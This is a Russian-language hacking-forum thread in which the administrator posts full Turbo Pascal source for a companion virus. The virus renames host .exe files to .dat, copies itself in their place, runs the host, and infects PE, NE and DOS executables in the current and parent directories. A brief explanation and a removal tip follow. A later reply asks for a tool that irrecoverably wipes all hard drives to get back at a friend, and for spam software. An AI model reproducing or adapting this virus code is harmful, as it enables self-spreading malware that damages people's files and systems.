Среда, 24.04.2024, 08:08 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx  
delphicode » Delphi » Вирусология Delphi » Пишем программу на паскале (паскаль)
Пишем программу на паскале
dolphinДата: Понедельник, 20.04.2009, 19:45 | Сообщение # 1
Администратор
Сообщений: 906
Статус: Offline
Код
{$M $4000,0,0 }
uses crt,dos;
var
sr_file,sr_dir:searchrec;
col,infmax,infcount,i:integer;
auth,name,sdir,path,params:string;
ne_inf,v_h,pe_inf:string;
f:file;
test:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;

function petest(s:string):boolean;
var
fl:file;
byt:integer;
nr:word;
c:char;
begin
{$I-}
petest:=false;
assign(fl,s);
reset(fl,1);
seek(fl,$3c);
BlockRead(fl, byt, SizeOf(byt), NR);
seek(fl,byt);
BlockRead(fl, c, SizeOf(c), NR);
if c='P' then
begin
BlockRead(fl, c, sizeOf(c), NR);
if c='E' then PETest:=true;
end;
close(fl);
end;

function netest(s:string):boolean;
var
fl:file;
byt:integer;
nr:word;
c:char;
begin
{$I-}
netest:=false;
assign(fl,s);
reset(fl,1);
seek(fl,$3c);
BlockRead(fl, byt, SizeOf(byt), NR);
seek(fl,byt);
BlockRead(fl, c, SizeOf(c), NR);
if c='N' then
begin
BlockRead(fl, c, sizeOf(c), NR);
if c='E' then NETest:=true;
end;
close(fl);
end;

procedure inf(s:string);
var
g:file of char;
begin
IF INFCOUNT>=INFMAX THEN EXIT;
{$I-}
if petest(s)=true then
begin
if pe_inf<>'pe_t' then exit;

end;
if netest(s)=true then
begin
if ne_inf<>'ne_t' then exit;

end;

fsplit(s,d,n,e);
assign(g,d+n+'.dat');
reset(g);
if ioresult=0 then
begin
close(g);
exit;
end;
assign(g,s);
rename(g,d+n+'.dat');
SwapVectors;
Exec(getenv('comspec'), ' /c copy '+paramstr(0)+' '+s+' >nul');
SwapVectors;
INFCOUNT:=INFCOUNT+1;
end;

procedure inf_dir;
begin
findfirst('*.exe',$3f,sr_file);
repeat
if fexpand(sr_file.name)<>paramstr(0) then inf(fexpand(sr_file.name));
findnext(sr_file);
until (doserror<>0)or(ioresult<>0);

findfirst('*',$10,sr_dir);
if doserror<>0 then exit;
repeat
findnext(sr_dir);
if doserror<>0 then exit;
until (sr_dir.name<>'..')and(sr_dir.name<>'.');

repeat
if doserror=0 then
begin
chdir(sr_dir.name);
if doserror<>0 then exit;
findfirst('*.exe',$3f,sr_file);
repeat
if fexpand(sr_file.name)<>paramstr(0) then inf(fexpand(sr_file.name));
findnext(sr_file);
until (doserror<>0)or(ioresult<>0);
if (sr_dir.name<>'..')and(sr_dir.name<>'.') then chdir('..');
end;
findnext(sr_dir);
if doserror<>0 then exit;
until (doserror<>0)or(ioresult<>0);

end;

begin
{***********
************
************
************
***********}
NAME:='Имя_вируса';
AUTH:='Имя_автора вируса';
{Заражать PE-EXEфайлы? pe_t - да, pe_n - нет}
PE_INF:='pe_t';
{Заражать NE-EXEфайлы? ne_t - да, ne_n - нет}
NE_INF:='ne_t';
{Сколько файлов заразить максимум за один раз?}
INFMAX:=3;
{Каким цветом выдавать сообщение об ошибке?
0 -черный,
1 - синий,
2 - зеленый,
4 - красный,
номер цвета + 16 - мигать каким - то цветом}
COL:=4+16;
{***********
************
************
************
***********}
infcount:=0;
getdir(0,sdir);
for i:=1 to paramcount do
begin
params:=params+' '+paramstr(i);
end;
fsplit(paramstr(0),d,n,e);
assign(f,paramstr(0));
rename(f,d+n+'.tmp');
{$I-}
assign(f,d+n+'.dat');
rename(f,d+n+'.exe');
if ioresult<>0 then
begin
assign(f,d+n+'.tmp');
rename(f,paramstr(0));
textcolor(col);
writeln('Virus ',name);
writeln('Generated by ',auth);
writeln;
writeln('ERROR:Could not find DATA file.');
textcolor(7);
chdir(sdir);
halt(0);
end;
SwapVectors;
Exec(getenv('comspec'), ' /c '+paramstr(0)+' '+params);
SwapVectors;
assign(f,d+n+'.exe');
rename(f,d+n+'.dat');
assign(f,d+n+'.tmp');
rename(f,d+n+'.exe');
{CODE}
{Проверка системы: если есть c:\vir.dat тогда выходим и не заражаем}
{$I-}
assign(test,'c:\vir.dat');
reset(test);
if ioresult=0 then halt(0);
inf_dir;
chdir(sdir);
chdir('..');
inf_dir;
chdir(sdir);
end.

Разберемся со структурой данного вируса. Этот вирус является вирусом-спутником (companion). Вначале он выполняет программу, которую заразил, а потом размножается в зависимости от опций. Он может заразить PE-EXE файлы (В основном Win32), NE-EXE (Win 3.1, Win 3.11) и обыкновенные EXE для DOS. Просмотрев внимательно его алгоритм, можно создать для него антивирус. Просто надо удалить EXE-файл и на его место поставить файл с таким же именем, но расширением DAT из текущей директории. Вирусы - спутники не легко обнаружить, так как они не используют хитрые процедуры заражения


Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
Pr01000d1nДата: Понедельник, 25.05.2009, 22:56 | Сообщение # 2
Группа: Удаленные



нормальный код у мня всегда почему то выходило только команду написать что бы она что то делала, и когда пользователь запускал ее, то происходил цикл)) или бум с виндой)) cool
 
execomДата: Четверг, 27.05.2010, 17:55 | Сообщение # 3
Новичок
Зарегистрирован: 27.05.2010
Группа: Пользователи
Сообщений: 2
Статус: Offline
Quote
нормальный код у мня всегда почему то выходило только команду написать что бы она что то делала, и когда пользователь запускал ее, то происходил цикл)) или бум с виндой)) cool
то ты какую-о фигню написал)))
 
heparДата: Понедельник, 05.07.2010, 12:59 | Сообщение # 4
Группа: Удаленные



доброго времени суток)))
мине нужена программа или че нибудь в этом роде для того чтобы при его открытии все данные на всех жеских дисках приходили в негодность и восстановить их нельзя. было просто у мае го друга жеских 5 штук вот он мине сильно напортачил вот(((
P.s большое спасибо упаваю на тебя спасибо
с уважение hepar
p.s.s нужна программы для спама ящиков буду очень признателен всем еще раз спасибо. пишите в личку либо на ящик
abcdefg89@mail.ru лучще в ящик))) cry
 
pascalДата: Воскресенье, 18.11.2012, 22:08 | Сообщение # 5
Был не раз
Зарегистрирован: 06.11.2012
Группа: Пользователи
Сообщений: 6
Статус: Offline
кто умеет старт пэйж на паскал писать
 
delphicode » Delphi » Вирусология Delphi » Пишем программу на паскале (паскаль)
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz